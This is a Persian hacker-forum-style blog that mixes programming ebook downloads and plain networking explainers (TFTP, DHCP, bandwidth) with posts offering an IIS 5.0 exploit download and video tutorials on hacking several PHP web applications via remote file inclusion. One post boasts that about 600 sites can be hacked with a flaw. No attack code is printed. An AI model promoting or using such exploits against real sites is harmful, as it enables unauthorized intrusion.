[   ] unison-2.13.16-manual.pdf 23-Apr-2006 17:38  426K  
[   ] user-guide - ethereal.pdf 01-Mar-2004 00:00  3.2M  
[   ] winxp-openbsd_ipsec_tunnel-mode_vpn_with_x509v3_certificates.pdf 30-Dec-2003 00:00  194K  

 

+ نوشته شده در  چهارشنبه یازدهم بهمن 1385ساعت 1:32  توسط Devil Hacker  | 

دستیار برنامه نویس 1

 نام کتاب : آموزش ویژوال بیسیک 6

 _______________________
دانلود
______________________

نام کتاب: آموزش کار با ریجستری ویندوز
سطح : مقدماتی ، متوسط
نویسنده : وحید نصیری
حجم:102 کیلو بایت
تعداد صفحه : 16

________________
دانلود
________________

نام کتاب : رمز گذاری ورمز گشایی
سطح : متوسط
نویسنده : وحید نصیری
حجم:25 کیلو بایت
تعداد صفحه: 6

_________________
دانلود
_________________

نام کتاب : نکاتی در مورد استفاده از فرم ها
سطح : متوسط
نویسنده : وحید نصیری
حجم:180 کیلو بایت
تعداد صفحه: 34

_________________
دانلود
_________________

نام کتاب : چند ریسمانی در ویژوال بیسیک
سطح : پیشرفته
نویسنده : وحید نصیری
حجم:84 کیلو بایت
تعداد صفحه: 12

_________________
دانلود
_________________

نام کتاب : مقدمه ای بر سیستم کد گذاری RAS
سطح : پیشرفته
نویسنده : وحید نصیری
حجم:94 کیلو بایت
تعداد صفحه: 3
_________________
دانلود
_________________

نام کتاب : استفاده از پورتها در ویژوال بیسیک
سطح : متوسط
نویسنده : وحید نصیری
حجم:134 کیلو بایت
تعداد صفحه: 9
_________________
دانلود
_________________

نام کتاب : تبدیل تاریخ سیستم به هجری شمسی
سطح :مقدماتی، متوسط
نویسنده : وحید نصیری
حجم:14 کیلو بایت
تعداد صفحه: 2
_________________
دانلود
_________________

نام کتاب : دستکاری منو ها با استفاده از توابع API
سطح :مقدماتی، متوسط
نویسنده : وحید نصیری
حجم:137 کیلو بایت
تعداد صفحه: 41

_________________
دانلود
_________________


نام کتاب :پخش فایلهای صوتی و تصویری
سطح :مقدماتی، متوسط
نویسنده : وحید نصیری
حجم:83 کیلو بایت
تعداد صفحه: 13

_________________
دانلود
_________________

نام کتاب :نکاتی در مورد استفاده از چاپگر
سطح :مقدماتی، متوسط
نویسنده : وحید نصیری
حجم:56 کیلو بایت
تعداد صفحه: 11
_________________
دانلود
_________________
 
 
نام کتاب :توابع ویژوال بیسیک
سطح :مقدماتی، متوسط
نویسنده : بهزاد راد
حجم:791 کیلو بایت
تعداد صفحه: 65
_________________
دانلود
_________________

نام کتاب :ویژوال بیسیک در N+1 روز
سطح :مقدماتی، متوسط
نویسنده : سید امیر احسانی
حجم:916 کیلو بایت
تعداد صفحه: 68
_________________
دانلود
_________________

نام کتاب :آموزش ADO
سطح : متوسط
نویسنده : جادوگر ویژوال بیسیک
حجم:91 کیلو بایت
تعداد صفحه: 10
_________________
دانلود
_________________

نام کتاب :راهنمای فرمانهای SQL
سطح : متوسط ،پیشرفته
نویسنده : شرکت پویشگران جوان
حجم:82 کیلو بایت
تعداد صفحه: 8
_________________
دانلود
_________________

نام کتاب :آموزش کیرستال ریپورت در ویژوال بیسیک
سطح : متوسط ،پیشرفته
نویسنده : in_Chan_nafar
حجم:499 کیلو بایت
تعداد صفحه: 11
_________________
دانلود
_________________

نام کتاب :راهنمای ساخت SETUP
سطح : متوسط
نویسنده : saeedsmk,craki
حجم:769 کیلو بایت
تعداد صفحه: 8
_________________
دانلود
_________________

نام کتاب :راهنمای مقدماتی برنامه نویسان بانک های اطلاعاتی
سطح : متوسط
نویسنده : شرکت پویشگران جوان
حجم:738 کیلو بایت
تعداد صفحه: 48
_________________
دانلود
_________________

نام کتاب : آموزش کامل نرم افزار InstallShield
سطح : متوسط
نویسنده : بابک احدی
حجم:2.35 مگ
تعداد صفحه: 20
_________________
دانلود
_________________

نام کتاب : آموزش ساخت برنامه نصب با نرم افزارNSIS
سطح : متوسط
نویسنده : مهدی نصرتیان
حجم:92 کیلو بایت
تعداد صفحه: 5
_________________
دانلود
_________________
 
 
+ نوشته شده در  چهارشنبه چهارم بهمن 1385ساعت 15:47  توسط Devil Hacker  | 

دانلود بیش از 500 کتاب مجانی

اینم لینکش

Free 500 Ebook

+ نوشته شده در  دوشنبه یازدهم دی 1385ساعت 17:29  توسط Devil Hacker  | 

توضيحي بر Tftp

 TFTP خلاصه Trivial File Transfer Protocol است که بر روی پورت 69 کار می کند. تفاوت آن با FTP در اینست که FTP از TCP استفده می کند ولی TFTP ازUDP استفاده میکند که البته FTP دارای ثبات و اطمینان قابل قبولی هست در صورتی که TFTP سرعت رابرای ما به ارمغان می آورد. نکته جالب توجه در این است که TFTP احتیاجی به پسوردندارد.
جابجایی در اینجا بدین شکل است که client از server در خواست (نوشتن)write یا (خواندن)read می کند که معمولا همان درخواست Read (PRQ) مورد قبولواقع می شود و با قبول شدن در خواست از سوی سرور ارتباط میان آن دو بر قرار می گرددو جایجایی اطلاعات آغاز می گردد. در ترانسفر packet/block جابجایی تا 512بایت آنجامشده و سپس سرور منتظر جواب دریافت(ACK) از سوی کلاینت میشود و بعد از دریافت جوابدوباره 512 بایت یعدی را می فرستد و برای هر 512بایت این کار تکرار میشود .
هریک از بلاک های دریافتی به انتهای بلاک قبلی متصل میشود اگر در این حین یکی از packet گم گردد هر دوی کلاینت و سرور یک time-out ایجاد نموده و دوباره همان packet گم شده را ارسال می کند. همیشه فرستنده باید آخرین بلاک را در حافظه نگهداری نماییدتا زمانی که پیام ACK را دریافت نماید البته اگر آخرین بلاک از فایل باشد دیگراحتیاجی به صبر کردن و نگهداری بر روی حافظه نیست.
0 mode 0 Filename 01
پیامهای TFTP
خواندن پیام در خواست


01 نشان دهنده 2 بایت از دستور OPcode network byte که طرف مقابل می گویید این یک READمی باشد.
Filename یک رشته null terminated ascii می باشد که نام فایل را به همراه دارد.
Mode یک رشته null terminated ascii می باشد که نوع جابجایی را در خود دارد.

نوشتن پیام درخواست
0 mode 0 Filename 02

توضیحان این بخش هم مثل بالا می باشد با اینتفاوت که 01 برای WRITE می باشد.

TFTP Data Packet / Message
Data 0 to 512bytes Block # 03

03 2 بایت از دستور OPcode network byte که می گوید درطرف مقبل داده ها قرار دارد.
Block # 2 بایت از دستور bytes block number network byte
Data 0 to 512bytes همه پکت دیتا ها 512 یایت در خود دارند غیر ازآخری

جواب
Block # 04

04 2 بایت از دستور OPcode network byte کهمعلوم می کند برای طرف دیگر که ACK می باشد.
Block # 2 بایت از دستور block number network byte



انواع Error ها
0 errstring errcode 05

05 2 بایت از دستور OPcode network byteکه به طرف مقابل می گویید این یک Error می باشد.
Errcode 2 بایت از دستور error code network byte میباشد.
Errstring یک رشته null terminated ascii error
و error code ها بهترتیب زیرند:
0 - Not defined.
1 - File not found.
2 - Access violation.
3 - Disk full.
4 - Illegal TFTP operation.
5 - Unknown port.
6 - File already exists.
7 - No such user
و طریقه های TFTP ترانسفر دو دسته می باشند:
1. netascii که برای انتقالtext فایل ها استفاده شدهکه البته دو طرف باید برای دریافت و فرستادن به این روش آماده باشند
2. octet کهبرای انتقال فایل هایbinary مورد استفاده قرار می گیرد.
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:49  توسط Devil Hacker  | 

Dhcp و نحوه کار آن

 اکثر کاربران اينترنت با واژه IP آشنايي دارند.IP يک عدد 32 بيتي است که به صورت ۸ بیت ۸ بیت با یک نقطه از یکدیگر مجزا میشوند و هر يک از آنها معرف يک کامپيوتر در اينترنت است.DHCP و نحوه کار آن به عبارت ديگر آدرس هر کامپيوتر در اينترنت با IP مشخص ميشود. آيا تا به حال از خود سئوال کرده ايد که فرايند تعيين IP براي سيستم شما در يک شبکه يا اينترنت چيست؟





DHCP Service :

DHCP مخفف عبارت Dynamic Host Configuration Protocol است که با نصب اين سرويس بر روي يک Server ميتوانيم در ان يک Range IP تعريف نموده و از ان بخواهيم تا به Client هايي که IP انها به صورت اتوماتيک تنظيم شده است IP اختصاص دهد.(تمامي کاربران اينترنت به صورت اتوماتيک IP دريافت ميکنند.)

چگونگي کارکرد يک DHCP:
زمانيکه يک کاربر کامپيوتر خود را راه اندازي مي کند سيستم عامل آن بعد از بالا آمدن در خواستIP ميکند. بعد از آن 4 مرحله انجام ميگيرد:

1-DHCP Discover
در اين مرحله Client درخواست خود را جهت دريافتIP در شبکه Broadcast ميکند. به آدرس 255.255.255.255 ارسال ميکند و IP خود او نيز 0.0.0.0 در نظر ميگيرد.

2-DHCP Offer
در اين مرحله تمام DHCP Server هائيکه Broadcast انجام شده در مرحله اول را دريافت ميکنند از Range IP تعريف شده بر روي خود يک IP انتخاب نموده و به همراه مدت زماني که قرار است آنIP را در اختيار Client قرار دهد و آنرا به شکل زير ارسال ميکند.



Source IP=IP of DHCP Server
Destination MAC Address=Client Destination IP=255.255.255.255

3-DHCP Request
Client درخواست کننده پس از دريافت DHCP Offer ها اولين DHCP Offer را انتخاب نموده و آنرا توسط يک Packet در شبکه Broadcast ميکند و در آن Packet آدرسDHCP Server که Offer او قبول شده است مشخص مينمايد.



- DHCP Ack,DHCP Nack
پس از آنکه Client به DHCP Server که Offer اوقبول شده DHCP Request را فرستاد در صورتيکه هنوز IP که Offer شده در Range او وجود داشته باشد و توسط Admin حذف نشده باشد DHCP Server تاييد خود را مبني بر اختصاص IP به Client اعلام ميکند. ولي اگر IP توسط Admin از Range مربوطه حذف شده باشد DHCP به Client درخواست کننده پيغامDHCP Nack را ارسال ميکند و Client مجبور ميشود که تمام مراحل را دوباره طي کند.


اگر DHCP در شبکه موجود نباشد:
Client پس از ارسال DHCP Discover يک ثانيه منتظر جواب مي ايستد اگر جوابي دريافت نکرد 3بار ديگر به فاصله زماني 9 و 13 و 16 ثانيه دوباره Broadcast ميکند اگر باز هم جوابي نگرفت هر 5 دقيقه يک بار به کار خود ادامه ميدهد.

(APIPA (Automatic Private IP Addressing :
Client هاي 98 و 2000 اگر DHCP را پيدا نکنند به هر دليلي به صورت اتوماتيک از رنج 169.254.x.y يک IP انتخاب ميکنند. در ضمن قبل از استفاده از آن آنرا Broadcast ميکنند تا احيانا Client ديگري در حال استفاده از آن IP نباشد. با اين حال هر 5 دقيقه يک بار به تلاش خود مبني بر گرفتن IP از DHCP ادامه ميدهد.

دستور ipconfig:
با استفاده از اين دستور که در Command Prompt اجرا ميشود ميتوان تنظيمات IP را مشاهده کنيم.براي گرفتن IP از DHCP بايد دستور IPCONFIG/RENEW را درCMD وارد کنيم و براي ازاد کردن IP دستور IPCONFIG/RELEASE را در همان CMD وارد ميکنيم.

IP reservation:
در صورت نياز ميتوان براي کامپيوتر ها و مخصوصا Network Printer ها IP رزرو نمود تا هر بار که آنها درخواست IP نمودند آن IP هاي رزرو شده به آنها اختصاص داده شود براي اين کار دانستنMAC Address کارت شبکه مورد نياز است.

Lease Time:
به مدت زماني که يک IP به يک Client اختصاص داده ميشود Lease Time ميگويند که به صورت پيش فرض 8 روز است
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:47  توسط Devil Hacker  | 

پهناي باند و نقش آن در شبكه

 پهنای باند از جمله واژه های متداول در دنيای شبکه های کامپيوتری استکه به نرخ انتقال داده توسط يک اتصال شبکه و يا يک اينترفيس ،اشاره می نمايد . اين واژه از رشته مهندسی برق اقتباس شده است . در اين شاخه از علوم ، پهنای باند نشان دهنده مجموع فاصله و يامحدوده بين بالاترين و پائين ترين سيگنال بر روی کانال هایمخابرانی ( باند ) ، است. به منظور سنجش اندازه پهنای باند ازواحد " تعداد بايت در ثانيه " و يا bps استفاده می شود .
پهنای باند تنها عامل تعيين کننده سرعت يک شبکه از زاويهکاربران نبوده و يکی ديگر از عناصر تاثيرگذار ، "ميزان تاخير" دريک شبکه است که می تواند برنامه های متعددی را که بر روی شبکهاجراء می گردند، تحت تاثير قرار دهد .

پهنای باند چيست ؟
توليد کنندگان تجهيزات سخت افزاری شبکه در زمان ارائهمحصولات خود تبليغات زيادی را در ارتباط با پهنای باند ، انجاممی دهند . اکثر کاربران اينترنت نسبت به ميزان پهنای باند مودمخود و يا سرويس اينترنت braodband دارای آگاهی لازم میباشند.پهنای باند، ظرفيت اتصال ايجاد شده را مشخص نموده و بديهیاست که هر اندازه ظرفيت فوق بيشتر باشد ، امکان دستيابی به منابعشبکه با سرعت بيشتری فراهم می گردد . پهنای باند ، ظرفيت تئوری ويا عملی يک اتصال شبکه و يا يک اينترفيس را مشخص نموده که در عملممکن است با يکديگر متفاوت باشند . مثلا" يک مودم V.90 پهنایباندی معادل 56 kbps را در حالت سقف پهنای باند حمايت می نمايدولی با توجه به محدوديت های خطوط تلفن و ساير عوامل موجود، عملا" امکان رسيدن به محدوده فوق وجود نخواهد داشت . يک شبکه اترنتسريع نيز از لحاظ تئوری قادر به حمايت پهنای باندی معادل 100Mbps است ، ولی عملا" اين وضعيت در عمل محقق نخواهد شد ( تفاوت ظرفيتتئوری پهنای باند با ظرفيت واقعی ) .

پهنای باند بالا و broadband
در برخی موارد واژه های "پهنای باند بالا" و " braodband " به جای يکديگر استفاده می گردند . کارشناسان شبکه دربرخی موارد از واژه "پهنای باند بالا " به منظور مشخص نمودن سرعتبالای اتصال به اينترنت استفاده می نمايند . در اين رابطه تعاريفمتفاوتی وجود دارد . اين نوع اتصالات، پهنای باندی بين 64Kbps تا 300kbps و يا بيشتر را ارائه می نمايند . پهنای باند بالا با broadband متفاوت است . broadband ، نشاندهنده روش استفاده شدهبه منظور ايجاد يک ارتباط است در صورتی که پهنای باند ، نرخانتقال داده از طريق محيط انتقال را نشان می دهد .

اندازه گيری پهنای باند شبکه
به منظور اندازه گيریپهنای باند اتصال شبکه می توان از ابزارهای متعددی استفاده نمود . برای اندازه گيری پهنای باند در شبکه های محلی ( LAN ) ، ازبرنامه هائی نظير netpref و ttcp ، استفاده می گردد. در زماناتصال به اينترنت و به منظور تست پهنای باند می توان از برنامههای متعددی استفاده نمود . تعداد زيادی از برنامه های فوق را میتوان با مراجعه به صفحات وب عمومی استفاده نمود . صرفنظر از نوعنرم افزاری که از آن به منظور اندازه گيری پهنای باند استفاده میگردد ، پهنای باند دارای محدوده بسيار متغيری است که اندازه گيریدقيق آن امری مشکل است .

تاخير
پهنای باند صرفا" يکیاز عناصر تاثير گذار در سرعت يک شبکه است . تاخير( Latency ) کهنشاندهنده ميزان تاخير در پردازش داده در شبکه است ، يکی ديگر ازعناصر مهم در ارزيابی کارآئی و سرعت يک شبکه است که دارایارتباطی نزديک با پهنای باند می باشد . از لحاظ تئوری سقف پهنایباند ثابت است . پهنای باند واقعی متغير بوده و می تواند عاملبروز تاخير در يک شبکه گردد . وجود تاخير زياد در پردازش داده درشبکه و در يک محدوده زمانی کوتاه می تواند باعث بروز يک بحران درشبکه شده و پيامد آن پيشگيری از حرکت داده بر روی محيط انتقال وکاهش استفاده موثر از پهنای باند باشد .

تاخير و سرويساينترنت ماهواره ای
دستيابی به اينترنت با استفاده ازماهواره به خوبی تفاوت بين پهنای باند و تاخير را نشان می دهد . ارتباطات مبتنی بر ماهواره دارای پهنای باند و تاخير بالائی میباشند . مثلا" زمانی که کاربری درخواست يک صفحه وب را می نمائيد، مدت زمانی که بطول می انجامد تا صفحه در حافظه مستقر گردد بااين که کوتاه بنظر می آيد ولی کاملا" ملموس است. تاخير فوق بهدليل تاخير انتشار است .علاوه بر تاخير انتشار ، يک شبکه ممکناست با نوع های ديگری از تاخير مواجه گردد . تاخير انتقال ( مرتبط با خصايص فيزيکی محيط انتقال ) و تاخير پردازش ( ارسالدرخواست از طريق سرويس دهندگان پروکسی و يا ايجاد hops بر رویاينترنت ) دو نمونه متداول در اين زمينه می باشند .

اندازه گيری تاخير در يک شبکه
از ابزارهای شبکه ایمتعددی نظير ping و traceroute می توان به منظور اندازه گيریميزان تاخير در يک شبکه استفاده نمود . برنامه های فوق فاصلهزمانی بين ارسال يک بسته اطلاعاتی از مبداء به مقصد و برگشت آنرا محاسبه می نمايند . به زمان فوق round-trip ، گفته می شود . round-trip تنها روش موجود به منظور تشخيص و يا بدست آوردن ميزانتاخير در يک شبکه نبوده و در اين رابطه می توان از برنامه هایمتعددی استفاده نمود .

پهنای باند و تاخير دو عنصر تاثيرگذار در کارائی يک شبکه می باشند .معمولا" از واژه ( QoS ( Quality of Service به منظور نشان دادن وضعيت کارآئی يک شبکهاستفاده می گردد که در آن دو شاخص مهم پهنای باند و تاخير موردتوجه قرار می گيرد.

+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:46  توسط Devil Hacker  | 

Exploit IIS 5.0

 سلام دوستان .....اینم exploit IIS 5.0 امیدوارم که بتونید ازش استفاده کنید
هم سورس فایل که با C نوشته شده گذاشتم
هم فایل کامپال شده......100% سالم
امیدوارم لذت ببرین
http://www.jahanupload.com/files-11426-IIS_5.0.zip
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:19  توسط Devil Hacker  | 

فیلم آموزشی هک کردن سایتهای Sphider

 با سلام دوستان

اینم یک فیلم دیگه که البته از این فیلم در مورد SQL Injection هم پر شده خب منم گفتم بد نیست از RFI هم داشته باشید

 
Download
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:13  توسط Devil Hacker  | 

فیلم آموزشی هک کردن سایتهای Ashnews

 با سلام یک فیلم دیگه از مبحث RFI فیلم خوبیه توصیه میکنم دانلودش کنید

موفق و پیروز باشید . در ضمن نظر یادتون نره

Download
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:12  توسط Devil Hacker  | 

فیلم آموزشی هک کردن سایتهای PHPwcms

 سلام به شما دوستان گلم امیدوارم که تا حالا از فیلمهام خوشتون اومده باشه

یک فیلم دیگه در مورد هک کردن پرتال PHPwcms که فیلم خوبیه و بدردتون میخوره

امیدوارم که خوشتون بیاد

موفق باشید.

Download
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:12  توسط Devil Hacker  | 

فيلم اموزشي هك كردن سايت هاي Php Auction

 سلام دوستان امروز با دست پر اومدم یک فیلم دیگه در مورد هک کردن سایت که خیلی از شماها دوست دارید

امیدوارم که از این فیلم هم راضی باشید راستی با این باگ اگر سرچ کنید میتونید تقریبا 600 تا سایت رو هک کنید

چون خیلی از این سایتها این نقص رو دارن

موفق باشید

Download
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:11  توسط Devil Hacker  | 

New Security Ebook

 
Bypassing Network Access Control (NAC) Systems
Author:Ofir Arkin
Download
Fuzzing Selected Win32 Interprocess Communication Mechanisms
Author:Jesse Burns
Download
The Exponential Growth of Rootkit Techniques
Authors:Jamie Butler, Nick Petroni & William Arbaugh
Download
Attacking Apple’s Xsan
Auhtor:Charles Edge
Download
Breaking Crypto Without Keys: Analyzing Data in Web Applications
Author:Chris Eng
Download
VoIP Security
Author:Nicolas Fischbach
Download
+ نوشته شده در  چهارشنبه یکم آذر 1385ساعت 0:9  توسط Devil Hacker  | 

مطالب قدیمی‌تر